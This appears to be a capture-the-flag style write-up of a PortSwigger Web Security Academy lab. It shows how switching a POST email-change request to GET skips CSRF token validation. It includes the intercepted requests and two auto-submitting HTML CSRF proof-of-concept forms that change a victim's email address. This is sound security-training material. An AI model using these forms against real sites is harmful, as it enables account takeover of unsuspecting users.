Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Method-Based Token Bypass
Difficulty Practitioner
Target 0a89003e045ece2881984dc5007300b6.web-security-academy.net
Objective Change the victim's email address by bypassing CSRF token validation

CSRF Where Token Validation Depends on Request Method — Writeup


Initial Observation

Logged in as wiener:peter. Account page shows:

My Account

Your username is: wiener
Your email is: [email protected]
Screenshot

Web — Email Change Request Analysis

Intercepting the email update with Burp:

Screenshot
POST /my-account/change-email HTTP/2
[email protected]&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R

A CSRF token is present. A standard PoC won't work without knowing the victim's token value. The real question is whether the server validates the token on all request methods, or only on POST.


Method Switch — Bypassing Token Validation

Using Burp's "Change request method" to convert the POST to a GET:

GET /my-account/[email protected]&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R HTTP/2
Screenshot

The server returns 302 Found:

Screenshot

Following the redirect gives 200 OK — email changed to [email protected]:

Screenshot

The server only validates the CSRF token on POST. A GET to the same endpoint processes the change with no token check at all. From here the PoC needs zero knowledge of the victim's token.

Building the PoC

Manual — modified source form:

<form class="login-form" name="change-email-form" action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email" method="GET">
    <input required="" type="email" name="email" value="[email protected]">
    <button class="button" type="submit"> Update email </button>
</form>

<script>
  document.forms[0].submit();
</script>
Screenshot

Burp-generated PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

[!note] Burp omits the method attribute entirely — forms default to GET when it's absent, which is exactly what's needed here.

Pasting the Burp PoC into the exploit server and viewing it while logged in as wiener confirms the email changes. Delivering to the victim solves the lab :P

Screenshot

Resources